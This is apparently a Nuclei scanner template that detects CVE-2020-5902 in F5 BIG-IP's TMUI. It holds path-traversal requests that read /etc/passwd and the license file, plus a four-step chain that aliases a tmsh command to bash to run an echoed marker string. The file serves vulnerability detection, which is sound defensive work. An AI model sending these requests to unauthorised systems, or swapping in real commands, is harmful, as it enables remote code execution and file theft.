nuclei-templates/cves/CVE-2020-5902.yaml

65 lines
2.1 KiB
YAML

id: CVE-2020-5902
info:
name: F5 BIG-IP TMUI RCE
author: madrobot & dwisiswant0 & ringo
severity: high
requests:
- method: GET
path:
- "{{BaseURL}}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd"
- "{{BaseURL}}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/f5-release"
- "{{BaseURL}}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.license"
- "{{BaseURL}}/hsqldb%0a"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: regex
regex:
- "root:[x*]:0:0:"
- "BIG-IP release ([\\d.]+)"
- "[a-fA-F]{5}-[a-fA-F]{5}-[a-fA-F]{5}-[a-fA-F]{5}-[a-fA-F]{7}"
- "HSQL Database Engine Servlet"
condition: or
part: body
- raw:
- |
POST /tmui/locallb/workspace/tmshCmd.jsp HTTP/1.1
Host: {{Hostname}}
Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)
command=create%20cli%20alias%20private%20list%20command%20bash
- |
POST /tmui/locallb/workspace/fileSave.jsp HTTP/1.1
Host: {{Hostname}}
Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)
fileName=%2Ftmp%2Fnonexistent&content=echo%20%27aDNsbDBfdzBSbGQK%27%20%7C%20base64%20-d
- |
POST /tmui/locallb/workspace/tmshCmd.jsp HTTP/1.1
Host: {{Hostname}}
Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)
command=list%20%2Ftmp%2Fnonexistent
- |
POST /tmui/locallb/workspace/tmshCmd.jsp HTTP/1.1
Host: {{Hostname}}
Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)
command=delete%20cli%20alias%20private%20list
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "h3ll0_w0Rld"